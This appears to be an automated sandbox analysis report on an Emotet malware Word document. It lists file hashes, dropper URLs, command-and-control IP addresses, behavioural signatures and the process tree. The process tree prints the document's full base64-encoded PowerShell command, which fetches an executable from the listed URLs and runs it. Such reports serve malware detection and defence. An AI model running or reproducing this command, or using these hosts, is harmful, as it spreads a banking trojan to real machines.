Analysis

  • max time kernel
    142s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12943.15385.16201.doc

  • Size

    176KB

  • MD5

    36fea8be4bf559852cc841616ff794d8

  • SHA1

    8aad9e4cb79ba290cae31a510e3b744367f5326d

  • SHA256

    43b649f8d39c8356d4c4920c61581ed58f90e56954ed5f90481f3b09cd059be0

  • SHA512

    7583ff4cb2b74369ec6f319b469b4149cd071009608b6e13bfb10c9fd908c359cbe2773f6ba32e4a4dae1efef120d23ab31ce1017471039fdf35c534118c336f

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jkncrew.com/cgi-bin/KhSO16ZAAf/

exe.dropper

http://jmlandscapingservice.com/content/fhGAfKs/

exe.dropper

http://jimlowry.com/dlqCTc01p/

exe.dropper

http://www.lesliemontenegro.com/wp-includes/I1hHqDE6/

exe.dropper

http://johnkeanestudios.com/r00t/vAWElRm/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12943.15385.16201.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1184
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAFMASgBLAE8AdABrAGoAPQAnAEgAUQBGAFEAVwB6AGUAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AGAAUgBgAEkAVAB5AFAAcgBgAG8AVABPAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUwBYAEwAVQBQAGcAdwBpACAAPQAgACcANQA0ADUAJwA7ACQAVwBBAFEATABOAG8AdwBoAD0AJwBPAEgASQBFAFoAeQBoAHUAJwA7ACQAUQBMAFMASgBLAGkAcQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAFgATABVAFAAZwB3AGkAKwAnAC4AZQB4AGUAJwA7ACQARwBXAFoAWgBCAGoAagBqAD0AJwBDAEEATABRAEIAcwB1AG0AJwA7ACQAUgBOAFoATABNAHAAZQB6AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABpAEUATgBUADsAJABGAEwAWQBDAE4AaQBwAGUAPQAnAGgAdAB0AHAAOgAvAC8AagBrAG4AYwByAGUAdwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAEsAaABTAE8AMQA2AFoAQQBBAGYALwAqAGgAdAB0AHAAOgAvAC8AagBtAGwAYQBuAGQAcwBjAGEAcABpAG4AZwBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwBjAG8AbgB0AGUAbgB0AC8AZgBoAEcAQQBmAEsAcwAvACoAaAB0AHQAcAA6AC8ALwBqAGkAbQBsAG8AdwByAHkALgBjAG8AbQAvAGQAbABxAEMAVABjADAAMQBwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAHMAbABpAGUAbQBvAG4AdABlAG4AZQBnAHIAbwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ASQAxAGgASABxAEQARQA2AC8AKgBoAHQAdABwADoALwAvAGoAbwBoAG4AawBlAGEAbgBlAHMAdAB1AGQAaQBvAHMALgBjAG8AbQAvAHIAMAAwAHQALwB2AEEAVwBFAGwAUgBtAC8AJwAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRAEcAVwBWAFMAbABkAHUAPQAnAFkATQBHAFIAUABmAGIAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQASgBXAFAAQQBJAGoAbwBtACAAaQBuACAAJABGAEwAWQBDAE4AaQBwAGUAKQB7AHQAcgB5AHsAJABSAE4AWgBMAE0AcABlAHoALgAiAEQAbwBXAGAATgBMAG8AQQBgAEQARgBpAEwARQAiACgAJABKAFcAUABBAEkAagBvAG0ALAAgACQAUQBMAFMASgBLAGkAcQBhACkAOwAkAEMAWABaAEcAQwBkAGEAdAA9ACcAVgBYAEYAUQBKAG4AcABxACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAUQBMAFMASgBLAGkAcQBhACkALgAiAGwAYABlAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAwADIAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAEEAdABlACIAKAAkAFEATABTAEoASwBpAHEAYQApADsAJABLAEUATgBXAEgAcwBsAHcAPQAnAEwATABGAE8AVQBiAHMAcAAnADsAYgByAGUAYQBrADsAJABLAEUAUwBWAFkAZQBoAHgAPQAnAEkARABUAEIAWQBzAHcAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAEIAUgBOAFIAZwBzAGgAPQAnAFAASQBMAE8AUgB4AGYAZwAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    PID:1028
  • C:\Users\Admin\545.exe
    C:\Users\Admin\545.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1856
    • C:\Windows\SysWOW64\netid\explorer.exe
      "C:\Windows\SysWOW64\netid\explorer.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1748

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\545.exe
  • C:\Users\Admin\545.exe
  • C:\Windows\SysWOW64\netid\explorer.exe
  • memory/1184-2-0x0000000008B40000-0x0000000008B44000-memory.dmp
    Filesize

    16KB

  • memory/1184-4-0x0000000006F90000-0x0000000007190000-memory.dmp
    Filesize

    2.0MB

  • memory/1184-5-0x000000000AF70000-0x000000000AF74000-memory.dmp
    Filesize

    16KB

  • memory/1184-6-0x000000000BFF0000-0x000000000BFF4000-memory.dmp
    Filesize

    16KB

  • memory/1748-10-0x0000000000000000-mapping.dmp
  • memory/1748-12-0x0000000000680000-0x000000000068C000-memory.dmp
    Filesize

    48KB

  • memory/1856-9-0x0000000000280000-0x000000000028C000-memory.dmp
    Filesize

    48KB